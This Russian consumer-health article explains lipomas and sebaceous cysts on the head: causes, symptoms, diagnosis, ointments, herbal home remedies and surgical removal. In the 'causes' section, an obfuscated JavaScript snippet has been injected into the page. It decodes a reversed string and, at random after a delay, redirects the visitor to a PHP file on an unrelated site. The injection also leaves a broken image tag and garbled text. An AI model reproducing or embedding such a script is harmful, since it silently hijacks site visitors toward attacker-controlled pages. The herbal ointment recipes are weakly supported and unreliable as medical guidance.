Мягкая эластичная опухоль под кожей волосистой части головы или лица чаще всего является жировиком. Образование растёт медленно, но иногда может достигать внушительных размеров. Несмотря на то что серьёзной опасности оно, как правило, не представляет, в некоторых случаях возможно занесение инфекции под кожу и развитие воспаления. Косметический дефект — ещё одна весомая причина избавиться от неприглядного образования.
Содержание
Что такое жировик на голове
Жировик — так в народе называют образование, под которым в медицине обычно подразумевают два вида опухоли — это липома и кожная атерома. Сходство этих образований заключается в их доброкачественности и расположении — оба формируются преимущественно подкожно.
Липома является опухолью из плотной жировой ткани, представляющей собой видоизменённую подкожную жировую клетчатку. На голове встречается редко. Она, как правило, не даёт серьёзных осложнений, но в редких случаях, вырастая до внушительных размеров, передавливает окружающие ткани или нервы, вызывая некоторую болезненность. Крайне редко под маской липомы может развиваться злокачественное новообразование — липосаркома.
Липомы могут формироваться в любом возрасте. При этом крайне редко встречаются у детей.
В отличие от липомы, атерома — опухоль другой природы. Она образуется из сальных желёз кожи, в связи с чем её также называют кистой сальной железы. Этот тип кисты обычно заполняется белыми хлопьями кератина, который также является ключевым составляющим элементом кожи и ногтей. Большинство кист мягкие на ощупь.
Области на теле, где обычно обнаруживаются кожные атеромы, включают:
- волосистую часть головы;
- лицо;
- шею.
Помимо прогрессирующего роста, атерома способна нагнаиваться, поскольку её проток сообщается с внешней средой и внутрь могут попадать патогенные микроорганизмы, вызывая воспаление и выделение гноя. В этих случаях жировик начинает прогрессивно увеличиваться в размерах в течение нескольких дней, кожа над ним краснеет, появляется болезненность. Возникает необходимость срочного обращения к врачу.
Жировики размером более 5 сантиметров иногда называют «гигантскими липомами». Они могут вызывать нервную боль, заставлять человека комплексовать по поводу его внешности или затруднять ношение головного убора, одежды.
Причины формирования жировиков
Однозначной причины возникновения липом не обнаружено. Различные теории по-своему объясняют предрасположенность к этой разновидности образований. Факторами риска называют:
- наследственность;
- травмы.
Чаще от этого вида опухоли страдают мужчины и женщины среднего возраста (около 40–60 лет). Как правило, заболевание проявляется у нескольких членов одной семьи. Образования часто появляются после травмы, хотя врачи не знают, что именно заставляет их формироваться.
Довольно редко липомы обнаруживаются в районе волосистой части головы или на лице. Чаще всего эти образования формируются в области шеи, спины и плеч, а также могут встречаться на животе, бёдрах и руках.
Определённые заболевания повышают риск развития жировиков на голове. К ним относятся:
- адипозалгия — болезненное ожирение; редкое расстройство, характеризующееся множественными, болезненными липомами;
- синдром Гарднера — наследственная патология, представляющая собой сочетание аденоматозных полипов с доброкачественными костными опухолями черепа и уплотнениями кожи.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/08/sindrom-gardnera-728×467.jpg» alt=»Синдром Гарднера» width=»728″ height=»467″ /> Синдром Гарднера — наследственная патологическая склонность к образованию опухолей кожи и черепа
Кожные атеромы образуются из сальных желёз, вырабатывающих маслянистую субстанцию (кожное сало), которое в норме покрывает волосы и кожу. Если сальник или его канал (проход, через который происходит отток кожного сала) повреждается или блокируется, то может формироваться кожная атерома. Обычно это происходит по причине травмы в этой области. Травмировать способны глубокие царапины, хирургические раны. Повышают вероятность формирования сальной кисты такие состояния кожи, как акне. Кисты сальных желёз растут медленно. Так, травма может произойти за несколько недель или месяцев до того, как будет замечена атерома.
Другие причины атеромы могут включать:
- деформированный выводной проток;
- повреждение тканей во время операции;
- генетические заболевания, связанные с образованием опухолей.
Сопутствующие симптомы
Липома проявляет себя как подкожное эластичное уплотнение. Кожа над ним подвижная, легко смещается. При пальпации образование безболезненное.
Атерома, напротив, всегда спаяна с кожей, на коже имеется точечный выводной проток железы. Атерома всегда имеет довольно плотную по структуре капсулу. Она заполнена атероматозными массами, которые внешне напоминают измельчённый жир. При надавливании на атерому иногда немного этих масс в виде белого червячка выдавливается наружу.
Жировик является наиболее распространённой подкожной опухолью. В разном возрасте она обнаруживается у 1 из 1 тыс. человек.
Диаметр рядового жировика не превышает 5 см. Иногда развивается одновременно два и более образования — явление, имеющее название липоматоз.
Небольшие жировики в большинстве случаев не доставляют болевых ощущений, а большие уплотнения, особенно на лице и шее, могут причинить боль в тех случаях, когда сдавливают соседние нервы или пронизывают кровеносные сосуды.
Среди многих видов опухолей кожи жировик отличается чёткими характеристиками. Классический жировик:
- мягкий на ощупь;
- легко перекатывается под пальцами при ощупывании (или спаян с кожей, если это атерома);
- формируется преимущественно под кожей;
- медленно увеличивается в размерах (в течение месяцев или лет);
- бесцветный (кожа над липомой не меняет свой цвет, за исключением инфекционно-воспалительного процесса внутри атеромы).
Липома считается подозрительной — и, возможно, злокачественной — если она имеет следующие характеристики:
- диаметр, превышающий пять сантиметров;
- высокая скорость рецидива после удаления;
- признаки инфекции, такие как покраснение, боль или отток гноя.
Диагностика жировиков
Если вы заметили шишку или опухоль в районе головы, то самое время обратиться к хирургу или дерматологу. Специалист может диагностировать липому или атерому после физического осмотра благодаря характерной структуре и отсутствию болезненности при пальпации.
Если у врача возникают сомнения в происхождении опухоли, он будет вынужден провести биопсию уплотнения. Эта процедура представляет собой взятие с помощью специальной иглы микроскопического образца опухоли для лабораторного исследования на предмет наличия злокачественно перерождённых клеток. Крайне редко, но под видом липомы может скрываться липосаркома — разновидность раковой опухоли. Её отличительными признаками являются быстрый рост и болезненность.
Дальнейшее детальное исследование с применением таких методов обследования, как МРТ и компьютерная томография требуется только в том случае, если биопсия показывает, что предполагаемая липома является фактически липосаркомой. Дополнительные обследования также могут потребоваться перед удалением новообразования, например, УЗИ, выявляющее содержимое кисты.
Консервативное лечение жировика на голове
Поскольку большинство жировиков не представляют опасности для здоровья, врач позволяет выбрать вариант лечения, который максимально удовлетворяет пациента. Например, человеку, который не желает удалять образование, может быть назначено периодическое наблюдение.
Жировики — как липомы, так и атеромы — полностью удаляются исключительно хирургическим способом. Избавиться от них народными или домашними средствами практически невозможно. Важно помнить, что без хирургического удаления капсулы киста обычно возвращается. Однако некоторые люди не решаются на хирургию из-за боязни перед оперативным вмешательством или опасений насчёт образования послеоперационных рубцов.
Медикаментозная терапия
Жировики, в начале их формирования, можно попробовать размягчить и удалить с помощью рассасывающих и антисептических мазей (Ихтиоловая, мазь Вишневского) или растворов (Димексид) для внешнего применения. Эти средства оказывают также противовоспалительный и заживляющий эффект, отпускаются в аптеке без рецепта.
Если произошло заражение атеромы и существует опасность нагноения, то врач назначает курс антибиотиков широкого спектра действия (Линкомицин, Амоксиклав) в таблетках или в виде внутримышечных инъекций.
Инъекции стероидов (липолитиков), расщепляющих жировое образование, также можно использовать прямо на поражённом участке. Это лечение может уменьшить липому, но полностью не удаляет её.
Эффективность народных методов лечения
Не следует пытаться самостоятельно выдавливать жировик или воздействовать на уплотнение другими механическими способами. Это несёт серьёзный риск заражения образования и вытекающих отсюда осложнений. Удалять липому имеет право только хирург амбулаторно или в условиях стационара.
Необходимо отметить, что в целом народные методы лечения демонстрируют невысокую эффективность в борьбе с жировиками. Ведь образование это довольно плотное, чтобы на него можно было повлиять чрескожно. Но с помощью некоторых натуральных методов лечения можно попытаться немного уменьшить опухоль и улучшить свой внешний вид. Применение любого домашнего средства необходимо согласовывать с лечащим врачом.
Липолитический эффект оказывают мази на основе натуральных масел и трав. Натуральные масла, такие как масло ним или льняного семени, отлично подходят для мазей. Масло ним — вяжущее средство, которое помогает защитить кожу. Оно широко используется в аюрведической (древнеиндийской) медицине для лечения липом. Масло льняного семени обладает высоким уровнем омега-3 и омега-6 жирных кислот, которые помогают уменьшить воспаление. Можно экспериментировать с различными комбинациями трав и масел, к примеру:
- Чесночная мазь. Смешайте 1 чайную ложку измельчённого чеснока с 2–3 столовыми ложками масла ним или льняного масла. Нанесите мазь на липому.
- Мазь с куркумой. Соедините 1 чайную ложку куркумы с 2–3 столовыми ложками масла ним или льняного масла. Покройте липому получившейся мазью. Из-за куркумы кожа станет слегка оранжевой или желтоватой. Чтобы защитить свою одежду, накройте липому повязкой. Куркума, как и масло нима, обычно используется в аюрведической медицине.
- Бальзам на основе шалфея. Смешайте от ½ до 1 чайной ложки сухого шалфея с 2–3 столовыми ложками масла ним или льняного масла. Нанесите бальзам на опухоль. Шалфей используется в традиционной китайской медицине для растворения жировой ткани.
Народные методы лечения жировиков — галерея
-
- Кожная атерома — киста сальной железы, наполненная кератином и кожным салом
-
- Липома — подкожная опухоль, состоящая из плотного жира
-
- Синдром Гарднера — наследственная патологическая склонность к образованию опухолей кожи и черепа
-
- Размер жировика, как правило, не превышает 5 сантиметров в диаметре
-
- Иссечение жировика классическим методом хирургии — наиболее надёжный способ лечения опухоли
-
- Шалфей — природный липолитик
-
- Масло ним — уникальный продукт из Индии, оздоравливает и заживляет кожу
-
- Куркума используется в аюрведической медицине как натуральный антибиотик
-
- Чеснок — способствует расщеплению жировок ткани
Хирургическое лечение
Несмотря на то что жировики считаются безобидными новообразованиями, которые не представляют опасности здоровью и не перерождаются в злокачественные опухоли, в реальности они заметно портят внешний вид человека, а также доставляют определённый дискомфорт: от незначительного до выраженного (при компрессии нервов или мягких тканей). Показания к оперативному удалению опухоли включают:
- быстрый рост новообразования;
- инфекционное заражение капсулы;
- передавливание опухолью нервов или сосудов;
- выраженный косметический дефект;
- хроническое травмирование новообразования.
Ваш врач может использовать один из следующих методов для удаления кисты:
- классическое полостное иссечение, которое полностью удаляет кисту, но может оставлять длинный шрам;
- липосакцию, после которой остаются минимальные рубцы, но есть риск возврата кисты, поскольку капсула опухоли остаётся на месте.
Жировики оперируются под местной анестезией. С помощью тонкой иглы подкожно обкалывают образование, после чего безболезненно выполняется хирургическое удаление опухоли. При удалении липомы врач делает небольшой линейный разрез, затем, буквально выдавливая, извлекает образование из-под кожи, после чего накладываются швы.
При удалении атеромы обязательно выполняется дугообразный разрез. Вместе с образованием удаляется небольшой фрагмент кожи, на который выходит проток сальной железы. Образование иссекают и накладывают швы.
Согласно хирургическим канонам, для удаления жировика на волосистой части головы требуется побрить голову. Но современные клиники идут на уступки клиентам, сбривая лишь небольшую часть волос на месте образования. Делается это для того, чтобы волосы не «зажевались» в шов. Таким образом, явных проплешин после вмешательства практически не остаётся. Операция завершается наложением шва.
Лазерный и радиоволновой методы лечения, по сути, не отличаются от классического. Разрез кожи в этом случае также совершается скальпелем. А радиоволной или лазером обрабатываются внутренние ткани, пересекаются сосуды во избежание кровотечения. Кожу не рассекают с помощью радиоволны или лазера, поскольку это даст худший косметический результат, чем манипуляция скальпелем.
Нагноение атеромы требует проведения хирургического вмешательства в экстренном порядке. Прооперировать такого пациента необходимо в течение ближайших суток или двух. В противном случае гнойник может прорваться и гной попадёт под кожу, что вызовет флегмону (разлитое гнойное воспаление).
При нагноении делается разрез, опорожняется гнойник, швы не накладываются. Если швы наложить, то не будет оттока остаточного количества гноя и произойдёт повторное нагноение, а швы придётся распускать. Капсулу гнойной атеромы сразу не иссекают. Связано это с тем, что при воспалении капсула плотно спаивается с окружающими тканями, чтобы её удалить, нужно делать значительно больший разрез, что влечёт за собой худший косметический результат. После того как рана заживает, в плановом порядке удаляют капсулу, чтобы не было рецидива.
После иссечения кисты врач может прописать мазь с антибиотиком (Эритромицин, Левомеколь) для предотвращения инфицирования. Её нужно использовать до полного завершения процесса заживления. Для более эффективного затягивания рубцов можно применять мази или гели против шрамов, например, Контрактубекс.
Ещё одним вариантом лечения является липосакция — выкачивание с помощью большого шприца и иглы содержимого капсулы. Но такой метод применяют редко, при особо больших размерах образования, чтобы не делать огромный разрез. Недостатком метода считается опасность рецидива, поскольку капсула остаётся на месте.
Диагноз жировика обычно очевиден. Однако вырезанная ткань должна быть представлена для гистологии — исследования под микроскопом на предмет злокачественности клеток.
Прогноз и возможные осложнения жировика
Липомы и сальные кисты — доброкачественные опухоли, не опасные для жизни. Это означает, что не существует никакой угрозы их распространения на другие органы или системы. Однако, если жировики не лечить, они могут прогрессировать до больших размеров, а их хирургическое удаление будет связано со значительными косметическими дефектами в виде шрамов. После полного хирургического удаления образования вместе с капсулой, оно, как правило, не повторяется в будущем на том же месте.
В редких случаях место удаления может быть инфицировано. Следует обратиться к врачу, если на коже проявляются какие-либо признаки заражения, например, покраснение и боль, или повышается температура тела. Большинство инфекций проходят благодаря курсу антибиотиков, но некоторые могут быть смертельными, если их не лечить.
Очень редко образование может иметь внутричерепную или внутрикостную связь. Несоблюдение мер предосторожности при удалении может привести к утечке спинномозговой жидкости и осложнениям (менингит и летальный исход). Предварительное исследование КТ или МРТ может понадобиться при наличии следующих особенностей:
- образование присутствует с рождения или появилось в раннем детстве (хотя небольшие поражения могут оставаться незамеченными до взрослого возраста);
- звуки, пульсация или колебания в размерах при напряжении или во время плача;
- спаянность с ниже расположенными тканями, жидкая консистенция;
- расположение вдоль линии носа, лба или средней части головы, а также вдоль линии черепного шва;
- необычная линия роста волос;
- наличие в прошлом черепной травмы или хирургии;
- семейная история неврологических аномалий или менингита.
Внутричерепные липомы являются редкими, гистологически доброкачественными, медленнорастущими, врожденными новообразованиями центральной нервной системы.
Профилактика
Так как точные причины липомы до конца не известны, эффективного метода её предотвращения не существует. В соответствии с возможными факторами риска развития липомы, могут быть полезны следующие меры:
- избегание травм;
- генетические исследования (скрининг гена HMG I-C) для людей с семейной историей мезенхимальных опухолей (уплотнения мягких тканей) и семейного множественного липоматоза.
Как избавиться от липомы: видео
Большинство жировиков удаляют или экстрагируют хирургическим путём. Рубцы и синяки — возможные побочные эффекты вмешательств, но постепенно они становятся малозаметными. При правильном подходе к лечению рецидивы маловероятны.
